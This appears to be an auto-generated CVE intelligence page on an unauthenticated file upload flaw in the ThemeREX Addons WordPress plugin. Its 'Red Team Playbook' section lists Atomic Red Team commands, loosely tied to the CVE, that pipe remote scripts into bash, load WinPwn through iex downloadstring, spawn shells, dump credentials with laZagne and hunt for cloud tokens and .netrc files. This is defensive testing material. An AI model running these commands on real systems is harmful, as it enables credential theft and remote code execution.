CVE-2024-13448
Overview
This vulnerability is an arbitrary file upload flaw caused by inadequate input validation in the 'trx_addons_uploads_save_data' function of the ThemeREX Addons WordPress plugin. The root cause is the absence of proper file type verification, allowing the upload mechanism to accept files without restrictions. This affects all plugin versions up to and including 2.32.3, specifically within the file upload handling component.
Vulnerability Description
The ThemeREX Addons plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'trx_addons_uploads_save_data' function in all versions up to, and including, 2.32.3. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An unauthenticated attacker can upload arbitrary files to the affected server, potentially leading to remote code execution and full system compromise. No authentication or user interaction is required (CVSS vector AV:N/AC:L/PR:N/UI:N), making exploitation straightforward over the network. This can result in unauthorized access, data breach, or service disruption, severely impacting the confidentiality, integrity, and availability of the affected WordPress site.
Solution
Users should upgrade the ThemeREX Addons plugin to a version later than 2.32.3 where the vulnerability is addressed. Detailed patch and mitigation instructions are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/7c1372bd-821d-439c-9b11-dfa5f08dd0dd. No official vendor advisory ID is provided, but applying the latest plugin update from the WordPress repository or ThemeForest is recommended to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the ThemeREX Addons plugin for WordPress arises from inadequate file type validation within the 'trx_addons_uploads_save_data' function. This flaw allows for arbitrary file uploads, which means that an attacker can upload files of their choosing without proper restrictions. The absence of stringent checks on the file types being uploaded creates a significant security gap, particularly in a web environment where user-generated content is common. Attackers can exploit this vulnerability to upload malicious scripts or executables disguised as benign files, potentially leading to remote code execution on the server.
Exploitation of this vulnerability can occur through various attack vectors. An unauthenticated attacker could leverage the file upload functionality to send a crafted request to the server, bypassing any authentication mechanisms. Once the malicious file is successfully uploaded, the attacker can execute it, gaining control over the server or accessing sensitive data. This could be achieved through methods such as sending a specially crafted image file that contains a web shell or other executable code. The ease of exploitation, combined with the lack of authentication requirements, makes this vulnerability particularly dangerous, as it lowers the barrier to entry for potential attackers.
The real-world impact of this vulnerability is profound, especially for businesses that rely on WordPress for their online presence. Successful exploitation can lead to severe consequences, including data breaches, defacement of websites, and loss of customer trust. The potential for remote code execution means that attackers could manipulate the server environment, install backdoors, or pivot to other systems within the network. The financial implications can be significant, encompassing costs related to incident response, remediation, and potential legal liabilities stemming from data loss or breaches of compliance regulations. Furthermore, the reputational damage incurred from such incidents can have long-lasting effects on customer relationships and brand integrity.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments can help identify and remediate such weaknesses before they can be exploited. Employing web application firewalls (WAF) can provide an additional layer of protection by filtering out malicious requests and monitoring file uploads for suspicious activity. Furthermore, it is crucial to keep all plugins and themes up to date, as developers often release patches to address known vulnerabilities. Implementing strict file type validation and limiting file upload capabilities to trusted users can also significantly reduce the risk of exploitation.
In conclusion, the vulnerability in the ThemeREX Addons plugin exemplifies the critical need for robust security measures in web applications. The ability for unauthenticated users to upload arbitrary files poses a serious threat to the integrity and security of affected systems. Organizations must remain vigilant, employing proactive detection and mitigation strategies to safeguard their digital assets against such vulnerabilities. By prioritizing security best practices and maintaining an ongoing commitment to vulnerability management, businesses can better protect themselves from the evolving landscape of cyber threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Themerex | Addons | All |
cpe:2.3:a:themerex:addons:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-13448 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/7c1372bd-821d-439c-9b11-dfa5f08dd0dd?source=cve |
| themeforest.net |
GitHub CVE
|
https://themeforest.net/item/qwery-multipurpose-business-wordpress-theme/29678687 |